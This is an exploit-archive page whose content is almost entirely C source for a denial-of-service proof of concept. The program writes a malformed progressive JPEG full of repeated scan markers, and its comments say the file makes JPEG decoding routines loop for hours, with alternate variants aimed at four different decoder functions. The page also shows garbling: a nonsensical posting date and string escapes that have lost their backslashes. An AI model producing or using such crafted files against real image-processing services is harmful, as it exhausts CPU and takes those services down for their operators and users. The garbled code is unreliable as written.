JPEG Standard DoS CPU Resource Exhaustion
Posted on 30 November -0001
<HTML><HEAD><TITLE>JPEG Standard DoS CPU Resource Exhaustion</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#include <stdlib.h> #include <string.h> #include <strings.h> #include <stdio.h> #include <err.h> #define KB * 1024 /* max 65500 */ #define DIMENSION "x20x00" /* ~8MB RAM? */ /* copied from the source because I don't want to think about what a valid table has to look like */ static char quanttab[] = { 16, 11, 10, 16, 24, 40, 51, 61, 12, 12, 14, 19, 26, 58, 60, 55, 14, 13, 16, 24, 40, 57, 69, 56, 14, 17, 22, 29, 51, 87, 80, 62, 18, 22, 37, 56, 68, 109, 103, 77, 24, 35, 55, 64, 81, 104, 113, 92, 49, 64, 78, 87, 103, 121, 120, 101, 72, 92, 95, 98, 112, 100, 103, 99 }; static int quanttab_size = sizeof(quanttab); /* Huffman tables per JPEG spec */ static char dclumbits[] = { 0, 1, 5, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0 }; static char dclumvals[]= { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11 }; static char aclumbits[]= { 0, 2, 1, 3, 3, 2, 4, 3, 5, 5, 4, 4, 0, 0, 1, 0x7d }; static char aclumvals[]= { 0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12, 0x21, 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07, 0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xa1, 0x08, 0x23, 0x42, 0xb1, 0xc1, 0x15, 0x52, 0xd1, 0xf0, 0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0a, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa8, 0xa9, 0xaa, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 0xd8, 0xd9, 0xda, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa }; #define WRITE_BYTE(byte) { img[off] = (byte); off++; } #define WRITE_WORD(word) { WRITE_BYTE((word >> 8) & 0xff); WRITE_BYTE(word & 0xff); } /*#define ARI*/ #ifdef ARI /* progressive arithmetic */ #define SOF10 "xFFxCAx00x0Bx08" DIMENSION DIMENSION "x01x00x11x00" #else /* progressive Huffman */ #define SOF2 "xFFxC2x00x0Bx08" DIMENSION DIMENSION "x01x00x11x00" #endif int main(void) { puts("preparing..."); unsigned char head[] = /*SOI*/ "xFFxD8" #ifdef ARI SOF10 #else SOF2 #endif /*DQT*/ "xFFxDBx00x43x00" /*values in quanttab*/; /* Uncomment this to cause decode_mcu_AC_refine() to spin for hours */ unsigned char sos[] = "xFFxDAx00x08x01x00x00x01x01x10"; /* Uncomment this to cause decode_mcu_AC_first() to spin for hours */ /* unsigned char sos[] = "xFFxDAx00x08x01x00x00x01x01x00"; */ /* Uncomment this to cause decode_mcu_DC_refine() to spin for hours */ /* unsigned char sos[] = "xFFxDAx00x08x01x00x00x00x00x10"; */ /* Uncomment this to cause decode_mcu_DC_first() to spin for hours */ /* unsigned char sos[] = "xFFxDAx00x08x01x00x00x00x00x00"; */ int headlen = sizeof(head)-1; int soslen = sizeof(sos)-1; int i, len, nval, soses = 0; unsigned char img[8000 KB]; memcpy(img, head, headlen); int off = headlen; memcpy(img+off, quanttab, quanttab_size); off += quanttab_size; #ifndef ARI /* Write default Huffman tables */ WRITE_BYTE(0xff); WRITE_BYTE(0xc4); /* DHT marker */ nval = 0; for(i = 0; i < 16; i++) nval += dclumbits[i]; len = 19 + nval; WRITE_WORD(len); /* DHT length */ WRITE_BYTE(0x00); /* Huffman class */ for(i = 0; i < 16; i++) WRITE_BYTE(dclumbits[i]); for(i = 0; i < nval; i++) WRITE_BYTE(dclumvals[i]); WRITE_BYTE(0xff); WRITE_BYTE(0xc4); /* DHT marker */ nval = 0; for(i = 0; i < 16; i++) nval += aclumbits[i]; len = 19 + nval; WRITE_WORD(len); /* DHT length */ WRITE_BYTE(0x10); /* Huffman class */ for(i = 0; i < 16; i++) WRITE_BYTE(aclumbits[i]); for(i = 0; i < nval; i++) WRITE_BYTE(aclumvals[i]); #endif while (off + soslen <= sizeof(img)) { memcpy(img + off, sos, soslen); off += soslen; soses++; } /* leave the rest uninitialized, whatever */ printf("SOS markers: %d ", soses); FILE *f = fopen("eofloop_2.jpg", "w"); if (!f) err(1, "fopen"); if (fwrite(img, off, 1, f) != 1) errx(1, "fwrite"); if (fclose(f)) err(1, "fclose"); return 0; } </BODY></HTML>
